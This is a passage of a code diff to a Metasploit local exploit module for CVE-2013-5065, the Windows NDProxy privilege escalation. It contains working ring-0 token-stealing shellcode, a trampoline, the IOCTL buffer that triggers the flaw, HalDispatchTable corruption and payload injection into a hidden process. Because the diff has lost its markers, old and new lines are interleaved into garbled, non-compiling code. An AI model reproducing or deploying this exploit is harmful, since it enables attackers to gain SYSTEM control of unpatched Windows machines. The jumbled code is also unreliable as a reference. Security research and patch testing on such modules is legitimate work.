[ 'BID', '63971' ],
[ 'EDB', '30014' ],
[ 'URL', 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ],
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2914486'],
[ 'URL', 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ],
[ 'URL', 'http://www.secniu.com/blog/?p=53' ],
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ],
[ 'URL', 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ]
%w(CVE 2013-5065),
%w(MSB MS14-002),
%w(OSVDB 100368),
%w(BID 63971),
%w(EDB 30014),
%w(URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/),
%w(URL http://technet.microsoft.com/en-us/security/advisory/2914486),
%w(URL https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp),
%w(URL http://www.secniu.com/blog/?p=53),
%w(URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html),
%w(URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html)
],
'DisclosureDate'=> 'Nov 27 2013',
'DefaultTarget' => 0
'DisclosureDate' => 'Nov 27 2013',
'DefaultTarget' => 0
}))
end
def add_railgun_functions
session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
session.railgun.add_function(
'psapi',
'EnumDeviceDrivers',
'BOOL',
[
["PBLOB", "lpImageBase", "out"],
["DWORD", "cb", "in"],
["PDWORD", "lpcbNeeded", "out"]
])
session.railgun.add_function(
'psapi',
'GetDeviceDriverBaseNameA',
'DWORD',
[
["LPVOID", "ImageBase", "in"],
["PBLOB", "lpBaseName", "out"],
["DWORD", "nSize", "in"]
])
end
def open_device(dev)
invalid_handle_value = 0xFFFFFFFF
r = session.railgun.kernel32.CreateFileA(dev, 0x0, 0x0, nil, 0x3, 0, 0)
handle = r['return']
if handle == invalid_handle_value
return nil
end
return handle
end
def find_sys_base(drvname)
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
current_drvname = results['lpBaseName'][0..results['return'] - 1]
if drvname == nil
if current_drvname.downcase.include?('krnl')
return [address, current_drvname]
end
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
return [address, current_drvname]
end
end
return nil
end
def ring0_shellcode(t)
restore_ptrs = "\x31\xc0" # xor eax, eax
restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax
restore_ptrs << "\xb8" + [@addresses['HaliQuerySystemInfo']].pack('L') # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << "\xa3" + [@addresses['halDispatchTable'] + 4].pack('L') # mov dword ptr [nt!HalDispatchTable+0x4], eax
tokenstealing = "\x52" # push edx # Save edx on the stack
tokenstealing << "\x53" # push ebx # Save ebx on the stack
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
tokenstealing << "\x8b\xc8" # mov ecx, eax
tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
ring0_shellcode = restore_ptrs + tokenstealing
return ring0_shellcode
ring0_shellcode = restore_ptrs + token_stealing_shellcode(t)
ring0_shellcode
end
def fill_memory(proc, address, length, content)
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [address].pack('L'), nil, [length].pack('L'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
unless proc.memory.writable?(address)
vprint_error("Failed to allocate memory")
vprint_error('Failed to allocate memory')
return nil
end
@ -184,13 +109,13 @@ class Metasploit3 < Msf::Exploit::Local
result = proc.memory.write(address, content)
if result.nil?
vprint_error("Failed to write contents to memory")
vprint_error('Failed to write contents to memory')
return nil
else
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
end
return address
address
end
def create_proc
@ -198,81 +123,51 @@ class Metasploit3 < Msf::Exploit::Local
cmd = "#{windir}\\System32\\notepad.exe"
# run hidden
begin
proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
proc = session.sys.process.execute(cmd, nil, 'Hidden' => true)
rescue Rex::Post::Meterpreter::RequestError
# when running from the Adobe Reader sandbox:
# Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
return nil
end
return proc.pid
proc.pid
end
def disclose_addresses(t)
addresses = {}
vprint_status("Getting the Kernel module name...")
kernel_info = find_sys_base(nil)
if kernel_info.nil?
vprint_error("Failed to disclose the Kernel module name")
return nil
end
vprint_good("Kernel module found: #{kernel_info[1]}")
hal_dispatch_table = find_haldispatchtable
return nil if hal_dispatch_table.nil?
addresses['halDispatchTable'] = hal_dispatch_table
vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")
vprint_status("Getting a Kernel handle...")
kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
kernel32_handle = kernel32_handle['return']
if kernel32_handle == 0
vprint_error("Failed to get a Kernel handle")
return nil
end
vprint_good("Kernel handle acquired")
vprint_status("Disclosing the HalDispatchTable...")
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable")
hal_dispatch_table = hal_dispatch_table['return']
if hal_dispatch_table == 0
vprint_error("Failed to disclose the HalDispatchTable")
return nil
end
hal_dispatch_table -= kernel32_handle
hal_dispatch_table += kernel_info[0]
addresses["halDispatchTable"] = hal_dispatch_table
vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")
vprint_status("Getting the hal.dll Base Address...")
hal_info = find_sys_base("hal.dll")
vprint_status('Getting the hal.dll base address...')
hal_info = find_sys_base('hal.dll')
if hal_info.nil?
vprint_error("Failed to disclose hal.dll Base Address")
vprint_error('Failed to disclose hal.dll base address')
return nil
end
hal_base = hal_info[0]
vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}")
hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
addresses["HaliQuerySystemInfo"] = hali_query_system_information
addresses['HaliQuerySystemInfo'] = hali_query_system_information
vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}")
return addresses
vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
addresses
end
def check
vprint_status("Adding the railgun stuff...")
add_railgun_functions
if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
if sysinfo['Architecture'] =~ /wow64/i || sysinfo['Architecture'] =~ /x64/
return Exploit::CheckCode::Detected
end
handle = open_device("\\\\.\\NDProxy")
if handle.nil?
return Exploit::CheckCode::Safe
end
handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
return Exploit::CheckCode::Safe if handle.nil?
session.railgun.kernel32.CloseHandle(handle)
os = sysinfo["OS"]
os = sysinfo['OS']
case os
when /windows xp.*service pack 3/i
return Exploit::CheckCode::Appears
@ -285,31 +180,26 @@ class Metasploit3 < Msf::Exploit::Local
else
return Exploit::CheckCode::Safe
end
end
def exploit
vprint_status("Adding the railgun stuff...")
add_railgun_functions
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
if sysinfo['Architecture'] =~ /wow64/i
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo['Architecture'] =~ /x64/
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
end
my_target = nil
if target.name =~ /Automatic/
print_status("Detecting the target system...")
os = sysinfo["OS"]
print_status('Detecting the target system...')
os = sysinfo['OS']
if os =~ /windows xp.*service pack 3/i
my_target = targets[1]
print_status("Running against #{my_target.name}")
elsif ((os =~ /2003/) and (os =~ /service pack 2/i))
elsif (os =~ /2003/) && (os =~ /service pack 2/i)
my_target = targets[2]
print_status("Running against #{my_target.name}")
elsif ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
elsif (os =~ /\.net server/i) && (os =~ /service pack 2/i)
my_target = targets[2]
print_status("Running against #{my_target.name}")
end
@ -318,100 +208,95 @@ class Metasploit3 < Msf::Exploit::Local
end
if my_target.nil?
fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually')
end
print_status("Checking device...")
handle = open_device("\\\\.\\NDProxy")
print_status('Checking device...')
handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
if handle.nil?
fail_with(Failure::NoTarget, "\\\\.\\NDProxy device not found")
fail_with(Failure::NoTarget, '\\\\.\\NDProxy device not found')
else
print_good("\\\\.\\NDProxy found!")
print_good('\\\\.\\NDProxy found!')
end
print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")
print_status('Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...')
@addresses = disclose_addresses(my_target)
if @addresses.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.")
fail_with(Failure::Unknown, 'Failed to disclose necessary addresses for exploitation, aborting.')
else
print_good("Addresses successfully disclosed.")
print_good('Addresses successfully disclosed.')
end
print_status("Storing the kernel stager on memory...")
print_status('Storing the kernel stager in memory...')
this_proc = session.sys.process.open
kernel_shell = ring0_shellcode(my_target)
kernel_shell_address = 0x1000
result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')
else
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
end
print_status("Storing the trampoline to the kernel stager on memory...")
print_status('Storing the trampoline to the kernel stager on memory...')
trampoline = "\x90" * 0x38 # nops
trampoline << "\x68" # push opcode
trampoline << [0x1000].pack("V") # address to push
trampoline << [0x1000].pack('V') # address to push
trampoline << "\xc3" # ret
trampoline_addr = 0x1
result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing trampoline on memory")
fail_with(Failure::Unknown, 'Error while storing trampoline on memory')
else
print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
end
print_status("Storing the IO Control buffer on memory...")
print_status('Storing the IO Control buffer on memory...')
buffer = "\x00" * 1024
buffer[20, 4] = [0x7030125].pack("V") # In order to trigger the vulnerable call
buffer[28, 4] = [0x34].pack("V") # In order to trigger the vulnerable call
buffer[20, 4] = [0x7030125].pack('V') # In order to trigger the vulnerable call
buffer[28, 4] = [0x34].pack('V') # In order to trigger the vulnerable call
buffer_addr = 0x0d0d0000
result = fill_memory(this_proc, buffer_addr, buffer.length, buffer)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing the IO Control buffer on memory")
fail_with(Failure::Unknown, 'Error while storing the IO Control buffer on memory')
else
print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}")
end
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')
magic_ioctl = 0x8fff23c8
# Values taken from the exploit in the wild, see references
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)
session.railgun.kernel32.CloseHandle(handle)
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
print_status("Checking privileges after exploitation...")
print_status('Checking privileges after exploitation...')
unless is_system?
fail_with(Failure::Unknown, "The exploitation wasn't successful")
fail_with(Failure::Unknown, 'The exploitation was not successful')
end
p = payload.encoded
print_good("Exploitation successful! Creating a new process and launching payload...")
print_good('Exploitation successful! Creating a new process and launching payload...')
new_pid = create_proc
if new_pid.nil?
print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...")
print_warning('Unable to create a new process, maybe you are in a sandbox. If the current process has been elevated try to migrate before executing a new process...')
return
end
print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...")
print_status("Injecting #{p.length} bytes into #{new_pid} memory and executing it...")
if execute_shellcode(p, nil, new_pid)
print_good("Enjoy")
print_good('Enjoy')
else
fail_with(Failure::Unknown, "Error while executing the payload")
fail_with(Failure::Unknown, 'Error while executing the payload')
end
end
end

View File

@ -66,28 +66,6 @@ class Metasploit3 < Msf::Exploit::Local
end
def add_railgun_functions
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
session.railgun.add_function(
'psapi',
'EnumDeviceDrivers',
'BOOL',
[
["PBLOB", "lpImageBase", "out"],
["DWORD", "cb", "in"],
["PDWORD", "lpcbNeeded", "out"]
])
session.railgun.add_function(
'psapi',
'GetDeviceDriverBaseNameA',
'DWORD',
[
["LPVOID", "ImageBase", "in"],
["PBLOB", "lpBaseName", "out"],
["DWORD", "nSize", "in"]
])
end
def open_device(dev)
invalid_handle_value = 0xFFFFFFFF
@ -163,10 +141,6 @@ class Metasploit3 < Msf::Exploit::Local
end
def exploit
vprint_status("Adding the railgun stuff...")
add_railgun_functions
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/

View File

@ -62,28 +62,6 @@ class Metasploit3 < Msf::Exploit::Local
end
def add_railgun_functions
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
session.railgun.add_function(
'psapi',
'EnumDeviceDrivers',
'BOOL',
[
["PBLOB", "lpImageBase", "out"],
["DWORD", "cb", "in"],
["PDWORD", "lpcbNeeded", "out"]
])
session.railgun.add_function(
'psapi',
'GetDeviceDriverBaseNameA',
'DWORD',
[
["LPVOID", "ImageBase", "in"],
["PBLOB", "lpBaseName", "out"],
["DWORD", "nSize", "in"]
])
end
def open_device(dev)
invalid_handle_value = 0xFFFFFFFF
@ -219,10 +197,6 @@ class Metasploit3 < Msf::Exploit::Local
def exploit
vprint_status("Adding the railgun stuff...")
add_railgun_functions
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/